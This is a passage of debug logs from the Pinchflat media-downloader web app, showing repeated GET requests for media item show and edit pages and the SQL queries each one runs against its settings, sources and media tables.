m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [231209] 17:53:43.531 [debug] QUERY OK source="settings" db=0.1ms idle=45.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.531 [debug] QUERY OK source="settings" db=0.1ms idle=45.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.532 [debug] QUERY OK source="settings" db=0.1ms idle=43.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.532 [info] Sent 200 in 2ms 17:53:43.568 [info] GET /sources/2/media/213214/edit 17:53:43.568 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "213214", "source_id" => "2"} Pipelines: [:browser] 17:53:43.569 [debug] QUERY OK source="media_items" db=0.1ms idle=78.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [213214] 17:53:43.569 [debug] QUERY OK source="settings" db=0.0ms idle=38.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.569 [debug] QUERY OK source="settings" db=0.1ms idle=38.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.569 [debug] QUERY OK source="settings" db=0.1ms idle=38.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.570 [info] Sent 200 in 2ms 17:53:43.575 [info] GET /sources/2/media/213214 17:53:43.575 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "213214", "source_id" => "2"} Pipelines: [:browser] 17:53:43.576 [debug] QUERY OK source="media_items" db=0.2ms idle=43.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [213214] 17:53:43.576 [debug] QUERY OK source="tasks" db=0.1ms idle=7.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [213214] 17:53:43.577 [debug] QUERY OK source="sources" db=0.3ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:43.577 [debug] QUERY OK source="settings" db=0.1ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.577 [debug] QUERY OK source="settings" db=0.1ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.578 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.579 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:43.580 [info] Sent 200 in 5ms 17:53:43.582 [info] GET /sources/2/media/183790 17:53:43.582 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "183790", "source_id" => "2"} Pipelines: [:browser] 17:53:43.582 [debug] QUERY OK source="media_items" db=0.1ms idle=4.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [183790] 17:53:43.583 [debug] QUERY OK source="tasks" db=0.1ms idle=5.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [183790] 17:53:43.583 [debug] QUERY OK source="sources" db=0.2ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:43.583 [debug] QUERY OK source="settings" db=0.1ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.583 [debug] QUERY OK source="settings" db=0.0ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.584 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.585 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:43.586 [info] Sent 200 in 4ms 17:53:43.592 [info] GET /sources/2/media/183790/edit 17:53:43.592 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "183790", "source_id" => "2"} Pipelines: [:browser] 17:53:43.592 [debug] QUERY OK source="media_items" db=0.2ms idle=9.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [183790] 17:53:43.593 [debug] QUERY OK source="settings" db=0.1ms idle=9.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.593 [debug] QUERY OK source="settings" db=0.1ms idle=9.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.593 [debug] QUERY OK source="settings" db=0.1ms idle=9.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.594 [info] Sent 200 in 2ms 17:53:43.642 [info] GET /sources/2/media/152861 17:53:43.642 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "152861", "source_id" => "2"} Pipelines: [:browser] 17:53:43.642 [debug] QUERY OK source="media_items" db=0.1ms idle=57.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [152861] 17:53:43.643 [debug] QUERY OK source="tasks" db=0.1ms idle=50.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [152861] 17:53:43.643 [debug] QUERY OK source="sources" db=0.2ms idle=49.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:43.643 [debug] QUERY OK source="settings" db=0.0ms idle=50.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.644 [debug] QUERY OK source="settings" db=0.1ms idle=49.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.644 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.645 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:43.646 [info] Sent 200 in 4ms 17:53:43.672 [info] GET /sources/2/media/152861/edit 17:53:43.672 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "152861", "source_id" => "2"} Pipelines: [:browser] 17:53:43.673 [debug] QUERY OK source="media_items" db=0.3ms idle=29.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [152861] 17:53:43.673 [debug] QUERY OK source="settings" db=0.1ms idle=29.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.674 [info] GET /sources/2/media/141213 17:53:43.674 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141213", "source_id" => "2"} Pipelines: [:browser] 17:53:43.674 [debug] QUERY OK source="settings" db=0.4ms idle=30.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.674 [debug] QUERY OK source="media_items" db=0.1ms idle=30.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141213] 17:53:43.675 [debug] QUERY OK source="settings" db=0.1ms idle=29.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.675 [debug] QUERY OK source="tasks" db=0.2ms idle=1.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141213] 17:53:43.675 [debug] QUERY OK source="sources" db=0.6ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:43.676 [info] Sent 200 in 3ms 17:53:43.677 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.678 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.678 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.679 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:43.680 [info] Sent 200 in 6ms 17:53:43.682 [info] GET /sources/2/media/769 17:53:43.682 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "769", "source_id" => "2"} Pipelines: [:browser] 17:53:43.682 [debug] QUERY OK source="media_items" db=0.1ms idle=6.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [769] 17:53:43.683 [debug] QUERY OK source="tasks" db=0.1ms idle=5.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [769] 17:53:43.683 [debug] QUERY OK source="sources" db=0.3ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:43.683 [debug] QUERY OK source="settings" db=0.0ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.684 [debug] QUERY OK source="settings" db=0.1ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.684 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.685 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:43.686 [info] Sent 200 in 3ms 17:53:43.692 [info] GET /sources/2/media/769/edit 17:53:43.692 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "769", "source_id" => "2"} Pipelines: [:browser] 17:53:43.692 [debug] QUERY OK source="media_items" db=0.1ms idle=9.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [769] 17:53:43.693 [debug] QUERY OK source="settings" db=0.1ms idle=9.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.693 [debug] QUERY OK source="settings" db=0.1ms idle=9.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.694 [debug] QUERY OK source="settings" db=0.1ms idle=9.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.695 [info] Sent 200 in 2ms 17:53:43.751 [info] GET /sources/2/media/141213/edit 17:53:43.751 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "141213", "source_id" => "2"} Pipelines: [:browser] 17:53:43.752 [debug] QUERY OK source="media_items" db=0.1ms idle=66.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141213] 17:53:43.752 [debug] QUERY OK source="settings" db=0.1ms idle=59.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", 